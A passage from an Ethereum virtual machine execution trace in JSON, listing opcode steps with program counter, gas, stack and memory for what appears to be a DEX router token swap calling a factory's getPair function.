f4b4668a84c842116bf4","0x1","0x1"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":474,"op":"SHL","gas":112320,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":475,"op":"SUB","gas":112317,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x10000000000000000000000000000000000000000"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":476,"op":"AND","gas":112314,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":477,"op":"DUP2","gas":112311,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":478,"op":"JUMP","gas":112308,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xd6"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":214,"op":"JUMPDEST","gas":112300,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":215,"op":"PUSH1","gas":112299,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":217,"op":"MLOAD","gas":112296,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x40"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":218,"op":"PUSH1","gas":112293,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":220,"op":"PUSH1","gas":112290,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0x1"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":222,"op":"PUSH1","gas":112287,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0x1","0x1"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":224,"op":"SHL","gas":112284,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0x1","0x1","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":225,"op":"SUB","gas":112281,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0x1","0x10000000000000000000000000000000000000000"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":226,"op":"SWAP1","gas":112278,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":227,"op":"SWAP2","gas":112275,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":228,"op":"AND","gas":112272,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":229,"op":"DUP2","gas":112269,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":230,"op":"MSTORE","gas":112266,"gasCost":9,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":231,"op":"PUSH1","gas":112257,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":233,"op":"ADD","gas":112254,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x20"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":234,"op":"JUMPDEST","gas":112251,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":235,"op":"PUSH1","gas":112250,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":237,"op":"MLOAD","gas":112247,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0xa0","0x40"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":238,"op":"DUP1","gas":112244,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0xa0","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":239,"op":"SWAP2","gas":112241,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0xa0","0x80","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":240,"op":"SUB","gas":112238,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x80","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":241,"op":"SWAP1","gas":112235,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x20"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":242,"op":"RETURN","gas":112232,"gasCost":0,"depth":2,"stack":["0xe6a43905","0xd6","0x20","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":8594,"op":"ISZERO","gas":114057,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8595,"op":"DUP1","gas":114054,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8596,"op":"ISZERO","gas":114051,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8597,"op":"PUSH2","gas":114048,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8600,"op":"JUMPI","gas":114045,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4","0x0","0x1","0x21a2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8610,"op":"JUMPDEST","gas":114035,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8611,"op":"POP","gas":114034,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8612,"op":"POP","gas":114032,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8613,"op":"POP","gas":114030,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8614,"op":"POP","gas":114028,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8615,"op":"PUSH1","gas":114026,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8617,"op":"MLOAD","gas":114023,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0